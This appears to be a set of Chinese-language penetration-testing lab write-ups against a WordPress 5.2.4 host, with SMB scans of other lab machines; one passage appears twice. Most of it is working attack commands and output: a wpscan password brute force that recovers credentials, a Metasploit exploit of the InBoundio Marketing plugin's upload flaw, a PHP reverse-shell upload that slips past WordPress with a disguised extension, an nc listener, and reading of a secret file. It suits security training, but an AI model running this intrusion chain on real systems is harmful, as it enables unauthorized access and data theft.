<s/inboundio-marketing/admin/partials/uploaded_csv$ cd /
cd /
www-data@localhost:/$ ls
ls
bin etc initrd.img.old lost+found opt run sys var
boot home lib media proc sbin tmp vmlinuz
dev initrd.img lib64 mnt root srv usr vmlinuz.old
www-data@localhost:/$ find / -type f -name sevret.txt -print 2>dev/null
find / -type f -name sevret.txt -print 2>dev/null
www-data@localhost:/$ find / -type f -name secret.txt -print 2>dev/null
find / -type f -name secret.txt -print 2>dev/null
/home/jason/Desktop/secret.txt
www-data@localhost:/$ cat /home/jason/Desktop/secret.txt
cat /home/jason/Desktop/secret.txt
$ECur!ty
後面的-print 2>dev/null
是為了避免出現一堆permission denied,意思是把錯誤資訊丟給dev的null。
如果不用metaspolit,還有另一個方式,就是上傳reverse shell:
kali的reverse shell放在上圖路徑,現在把它複製到別的地方:
編輯這個php:
┌──(root㉿kali)-[~]
└─# cd /home/kali/Downloads
┌──(root㉿kali)-[/home/kali/Downloads]
└─# vim php-reverse-shell.php
改紅底線處,改成攻擊機的IP跟port:
把它改個附檔名,希望它不會被wordpress擋下來。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# mv php-reverse-shell.php abbot.php
┌──(root㉿kali)-[/home/kali/Downloads]
└─# mv abbot.php abbot.php.jpg
到上傳介面:
這時開啟burp跟攔截,因為到時候會需要查看是否會被wordpress檔下,並找上傳後檔案的網址。
上傳:
因為開啟了intercept,所以上傳後會卡在100%,不會done
查看目前intecept內的內容:
把.jpg
給刪掉,一直按左上的Forward直到沒東西,代表真的把這php上傳完畢,這時再切換到HTTP history。
可以發現edited有打勾的:
6號跟8號之間的7號是wordpress檢查上傳檔案的網頁。
可以發現php已成功上傳,連結如上圖紅底,所以先在攻擊機監聽:
┌──(root㉿kali)-[~/PT_day2]
└─# nc -lvnp 8081
listening on [any] 8081 ...
注意proxy的設定要復原。
點選abbot.php,會發現攻擊機變成以下畫面,代表控制成功:
┌──(root㉿kali)-[~/PT_day2]
└─# nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.200.3] from (UNKNOWN) [172.16.20.3] 58836
Linux localhost.localdomain 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2 (2019-08-28) x86_64 GNU/Linux
12:07:17 up 1 day, 3:24, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :1 :1 14Mar22 ?xdm? 1:38 0.01s /usr/lib/gdm3/gdm-x-session --run-script /usr/bin/gnome-session
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
也可以不用點網頁上的php,直接用wget下載剛剛的url也可以造成觸發。
]]>套路1
┌──(root㉿kali)-[~/PT_day2]
└─# nmap 172.16.20.3 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 03:09 EST
Nmap scan report for 172.16.20.3
Host is up (0.044s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 27.03 seconds
套路2
┌──(root㉿kali)-[~/PT_day2]
└─# nmap 172.16.20.3 -p80 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 03:10 EST
Nmap scan report for 172.16.20.3
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-generator: WordPress 5.2.4
|_http-title: My Blogs – Just another WordPress site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.0 (94%), Linux 4.4 (94%), Linux 3.10 - 3.12 (93%), Linux 3.10 - 3.16 (92%), Linux 3.10 (91%), Linux 4.9 (91%), Linux 2.6.18 (90%), Linux 3.10 - 4.11 (89%), Linux 3.11 - 4.1 (89%), Linux 3.2 - 4.9 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 66.02 ms 192.168.200.1
2 14.94 ms 172.16.20.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds
發現只有一個80 port,探測目錄:
┌──(root㉿kali)-[~/PT_day2]
└─# nikto -host http://172.16.20.3
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.20.3
+ Target Hostname: 172.16.20.3
+ Target Port: 80
+ Start Time: 2023-02-26 03:15:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://172.16.20.3/index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 7925 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2023-02-26 03:18:07 (GMT-5) (179 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.38) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)? n
到其中一個目錄看一下:
連上網頁看一下:
接下來想用hydra來爆破密碼。打開burp suite,設定proxy。隨便輸入錯誤的:
接下來看看burp:
底下的request內容如下,可以知道第一篇提到的綠框、橘框該填什麼:
POST /wp-login.php HTTP/1.1
Host: 172.16.20.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.20.3/wp-login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://172.16.20.3
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
log=john&pwd=aaa&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.20.3%2Fwp-admin%2F&testcookie=1
觀察一下:
hydra http post form example
How to Brute Force Websites & Online Forms Using Hydra | Infinite Logins
aaa接下來看看藍圈要填什麼:
要注意錯誤訊息複製沒有html標籤的就好。
hydra -l john -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 172.16.20.3 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.20.3%2Fwp-admin%2F&testcookie=1:The password you entered for the username"
如果像上面這樣下指令,會找出四個ok的密碼,其實是有問題,代表指令打錯。
解決方法1: 後面加參數-t 4
,但沒用。
解決方法2: 錯誤訊息不要用The password you entered for the username
,但也沒用。
只好換另一個針對wordpress的工具--wpscan。
┌──(root㉿kali)-[~/PT_day2]
└─# wpscan --url http://172.16.20.3 -U "john" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://172.16.20.3/ [172.16.20.3]
[+] Started: Sun Feb 26 06:28:41 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.3/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.3/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.16.20.3/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.3/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.3/index.php/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
| - http://172.16.20.3/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://172.16.20.3/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.3/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] inboundio-marketing
| Location: http://172.16.20.3/wp-content/plugins/inboundio-marketing/
| Latest Version: 2.0.1 (up to date)
| Last Updated: 2015-07-23T07:01:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.0.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.16.20.3/wp-content/plugins/inboundio-marketing/README.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://172.16.20.3/wp-content/plugins/inboundio-marketing/README.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <=> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - john / iloveyou
Trying john / robert Time: 00:00:01 < > (55 / 1000055) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: john, Password: iloveyou
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Feb 26 06:28:50 2023
[+] Requests Done: 246
[+] Cached Requests: 5
[+] Data Sent: 74.246 KB
[+] Data Received: 20.031 MB
[+] Memory used: 267.863 MB
[+] Elapsed time: 00:00:09
得知密碼iloveyou。枚舉使用者帳號:
┌──(root㉿kali)-[~/PT_day2]
└─# wpscan --url http://172.16.20.3 -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://172.16.20.3/ [172.16.20.3]
[+] Started: Sun Feb 26 06:34:31 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.3/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.3/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.16.20.3/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.3/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.3/index.php/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
| - http://172.16.20.3/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://172.16.20.3/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.3/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jason
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://172.16.20.3/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] alvin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] james
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Feb 26 06:34:34 2023
[+] Requests Done: 31
[+] Cached Requests: 36
[+] Data Sent: 8.299 KB
[+] Data Received: 86.785 KB
[+] Memory used: 174.059 MB
[+] Elapsed time: 00:00:03
第一小題解決。
第二小題,先利用第一小題得到的密碼登入:
檢查外掛有沒有poc可用:
┌──(kali㉿kali)-[~]
└─$ msfconsole
____________
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
[% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%]
[% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%]
[% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -u
<session_id>
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search inboundio
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_inboundio_marketing_file_upload 2015-03-24 excellent Yes Wordpress InBoundio Marketing PHP Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_inboundio_marketing_file_upload
看來第二個外掛是有:
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > show options
Module options (exploit/unix/webapp/wp_inboundio_marketing_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:por
t[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.
metasploit.com/docs/using-metasploit/
basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connec
tions
TARGETURI / yes The base path to the wordpress applic
ation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.18.192 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 InBoundio Marketing 2.0
View the full module info with the info, or info -d command.
進行攻擊設定:
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > set rhosts 172.16.20.3
rhosts => 172.16.20.3
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > set lhost 192.168.200.3
lhost => 192.168.200.3
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > set lport 16203
lport => 16203
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > run
[*] Started reverse TCP handler on 192.168.200.3:16203
[+] Our payload is at: vbkTtLKBbXER.php.
[*] Calling payload...
[*] Sending stage (39927 bytes) to 172.16.20.3
[+] Deleted vbkTtLKBbXER.php
[*] Meterpreter session 1 opened (192.168.200.3:16203 -> 172.16.20.3:37394) at 2023-02-26 06:52:38 -0500
meterpreter > shell
Process 8386 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
會改lport只是因為剛剛前一題用過了,而現在成功入侵,但shell很難用,所以穩定shell:
python -c 'import pty;pty.spawn("/bin/bash")'
<s/inboundio-marketing/admin/partials/uploaded_csv$ cd /
cd /
www-data@localhost:/$ ls
ls
bin etc initrd.img.old lost+found opt run sys var
boot home lib media proc sbin tmp vmlinuz
dev initrd.img lib64 mnt root srv usr vmlinuz.old
www-data@localhost:/$ find / -type f -name sevret.txt -print 2>dev/null
find / -type f -name sevret.txt -print 2>dev/null
www-data@localhost:/$ find / -type f -name secret.txt -print 2>dev/null
find / -type f -name secret.txt -print 2>dev/null
/home/jason/Desktop/secret.txt
www-data@localhost:/$ cat /home/jason/Desktop/secret.txt
cat /home/jason/Desktop/secret.txt
$ECur!ty
後面的-print 2>dev/null
是為了避免出現一堆permission denied,意思是把錯誤資訊丟給dev的null。
如果不用metaspolit,還有另一個方式,就是上傳reverse shell:
kali的reverse shell放在上圖路徑,現在把它複製到別的地方:
編輯這個php:
┌──(root㉿kali)-[~]
└─# cd /home/kali/Downloads
┌──(root㉿kali)-[/home/kali/Downloads]
└─# vim php-reverse-shell.php
改紅底線處,改成攻擊機的IP跟port:
把它改個附檔名,希望它不會被wordpress擋下來。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# mv php-reverse-shell.php abbot.php
┌──(root㉿kali)-[/home/kali/Downloads]
└─# mv abbot.php abbot.php.jpg
到上傳介面:
這時開啟burp跟攔截,因為到時候會需要查看是否會被wordpress檔下,並找上傳後檔案的網址。
上傳:
因為開啟了intercept,所以上傳後會卡在100%,不會done
查看目前intecept內的內容:
把.jpg
給刪掉,一直按左上的Forward直到沒東西,代表真的把這php上傳完畢,這時再切換到HTTP history。
可以發現edited有打勾的:
6號跟8號之間的7號是wordpress檢查上傳檔案的網頁。
可以發現php已成功上傳,連結如上圖紅底,所以先在攻擊機監聽:
┌──(root㉿kali)-[~/PT_day2]
└─# nc -lvnp 8081
listening on [any] 8081 ...
注意proxy的設定要復原。
點選abbot.php,會發現攻擊機變成以下畫面,代表控制成功:
┌──(root㉿kali)-[~/PT_day2]
└─# nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.200.3] from (UNKNOWN) [172.16.20.3] 58836
Linux localhost.localdomain 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2 (2019-08-28) x86_64 GNU/Linux
12:07:17 up 1 day, 3:24, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :1 :1 14Mar22 ?xdm? 1:38 0.01s /usr/lib/gdm3/gdm-x-session --run-script /usr/bin/gnome-session
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
也可以不用點網頁上的php,直接用wget下載剛剛的url也可以造成觸發。
]]>windows 的話查名稱是445 port。
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 ...
2 61.64 ms 172.16.1.51
Nmap scan report for 172.16.1.67
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 59.26 ms 192.168.200.1
2 65.18 ms 172.16.1.67
Nmap scan report for 172.16.1.87
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (94%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (94%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (93%), Microsoft Windows Server 2008 R2 or Windows 8 (93%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 7 or Windows Server 2008 R2 (93%), Microsoft Windows Server 2008 or 2008 Beta 3 (93%), Microsoft Windows Server 2008 R2 or Windows 8.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SEH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h40m01s, deviation: 4h37m07s, median: -2s
| smb2-time:
| date: 2023-02-25T11:05:28
|_ start_date: 2023-02-25T10:01:44
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SEH-PC
| NetBIOS computer name: SEH-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:22+08:00
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SEH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00155d013683 (Microsoft)
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.23 ms 172.16.1.87
Nmap scan report for 172.16.1.105
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (89%), Microsoft Windows 7 Professional (89%), Microsoft Windows Vista SP2 (89%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WIN-FH0N2VGINDJ, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de792 (Microsoft)
| smb2-time:
| date: 2023-02-25T11:05:40
|_ start_date: 2021-05-28T17:04:49
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.18 ms 172.16.1.105
Nmap scan report for 172.16.1.112
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows 10 1607 (89%), Microsoft Windows Server 2012 (88%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 7 Professional (86%), Microsoft Windows Server 2012 Data Center (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%), Microsoft Windows 10 1511 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| smb2-time:
| date: 2023-02-25T11:05:42
|_ start_date: 2022-10-15T07:48:25
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.23 ms 172.16.1.112
Nmap scan report for 172.16.1.120
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (92%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FULECMS
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: FULECMS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_clock-skew: mean: -2h39m59s, deviation: 4h37m03s, median: -2s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-02-25T11:05:28
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: fulecms
| NetBIOS computer name: FULECMS\x00
| Domain name: \x00
| FQDN: fulecms
|_ System time: 2023-02-25T19:05:29+08:00
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
